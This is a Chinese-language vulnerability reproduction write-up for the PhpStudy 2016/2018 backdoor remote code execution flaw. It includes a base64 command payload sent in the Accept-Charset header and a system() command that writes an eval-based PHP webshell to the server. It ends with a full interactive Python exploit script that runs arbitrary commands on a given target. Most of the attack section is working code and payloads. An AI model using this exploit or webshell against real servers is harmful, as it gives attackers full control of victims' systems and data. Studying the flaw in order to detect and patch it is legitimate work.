PhpStudy2016-2018-RCE 漏洞复现

漏洞描述

PHPStudyRCE（Remote Code Execution），也称为phpstudy_backdoor漏洞，是指PHPStudy软件中存在的一个远程代码执行漏洞。

漏洞影响范围

Phpstudy软件是国内的一款免费的PHP调试环境的程序集成包，通过集成Apache、PHP、MySQL、phpMyAdmin等多款软件一次性安装，无需配置即可直接安装使用，一键搭建。其中2016、2018版本的phpstudy存在被黑客恶意篡改后形成的RCE漏洞。该漏洞可以直接远程执行系统命令。

漏洞的具体影响取决于攻击者如何利用该漏洞。通过利用该漏洞，攻击者可以执行任意的PHP代码，从而完全控制受影响的系统。攻击者可以执行恶意代码、访问和修改敏感数据、植入后门等。

需要注意的是，该漏洞只影响使用了特定版本的PHPStudy软件的系统，具体来说是2018年1月至2019年5月发布的版本。在2019年5月发布的修复版本中，该漏洞被开发者修复。

说明	内容
漏洞编号	phpstudy-2016，2018-RCE
漏洞名称	RCE(Remote Command\|Code Execute)
漏洞评级	高危
影响范围	phpStudy 2016-----phpStudy 2018
漏洞描述	攻击者可以利用该漏洞执行PHP 命令，也可以称作 phpStudy 后门。

漏洞环境

链接：https://pan.baidu.com/s/1_kieJmU7Azq-lMKIp9VmaA
提取码：2hf6

漏洞复现

具体的版本，和服务器平台就不列出了，大家参考phpinfo的信息

使用burp抓包，然后重发报文

漏洞利用

触发条件

Accept-Charset: c3lzdGVtKCdpcGNvbmZpZycpOw==
Accept-Encoding: gzip,deflate

tips：这里注意空格

使用burp编码器构造一条系统执行命令，并且使用base64编码

得到

c3lzdGVtKCdpcGNvbmZpZycpOw==

修改数据包后，重放，右边源码发现已经执行ipconfig了

漏洞利用

这段代码的作用是将<?php@eval($_POST[cmd]);字符串写入到"C:/phpStudy/WWW/shell.php"文件中。这段PHP代码会执行$_POST[cmd]变量中的命令，并将结果进行执行。这是常用来写webshell的一句话，请注意使用这样的代码是非常危险的，因为它允许任意的命令执行和操纵服务器文件系统。这种代码容易被滥用，例如用于执行恶意命令、破坏或窃取数据。

system(' echo ^<?php@eval($_POST[cmd]); ?^>>"C:/phpStudy/WWW/shell.php ');

POC

POC是"Proof of Concept"的缩写。在计算机安全领域中，POC通常指的是攻击者或安全研究人员为了验证某个漏洞的存在、利用效果或攻击方法而实现的一个具体演示或证明代码。

接下来为大家展示一下,为了更好的体验效果，我在powershell中演示

当我运行此rce脚本时，显示下方的界面，并提示该工具的用法。

当我添加网站后，运行脚本，就会提示输入想要执行的命令，然后回车，就可以执行远程PhpStudy服务器的主机了

下面是源代码

import requests
import base64
import sys

banner = '''
.---. .-.          .--.  .-.          .-.        .---.  .--.  .--. 
: .; :: :         : .--'.' `.         : :        : .; :: .--': .--'
:  _.': `-. .---. `. `. `. .'.-..-. .-' :.-..-.  :   .': :   : `;  
: :   : .. :: .; ` _`, : : : : :; :' .; :: :; :  : :.`.: :__ : :__ 
:_;   :_;:_;: ._.'`.__.' :_; `.__.'`.__.'`._. ;  :_;:_;`.__.'`.__.'
            : :                           .-. :                    
            :_;                           `._.'                    
                python *.py http://192.168.21.155/phpinfo.php
'''

if len(sys.argv) < 2:
    print(banner)
    exit()

url = sys.argv[1]

def attack(cmd):
    cmd = f"system('{cmd}');"
    cmd = base64.b64encode(cmd.encode())

    headers = {
        "User-Agent"        : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0",
        "Accept-Charset"    : cmd,
        "Accept-Encoding"   : "gzip,deflate"
    }

    res = requests.get(url = url,headers = headers)
    rs = res.content.decode("gb2312")
    result = rs[0:rs.find("DOCTYPE html")]
    return result

if __name__ == '__main__':
    cmd = input("请输入想要执行的系统命令：")
    if cmd == 'q':
        print("感谢使用！！！")
    else:
        print(attack(cmd))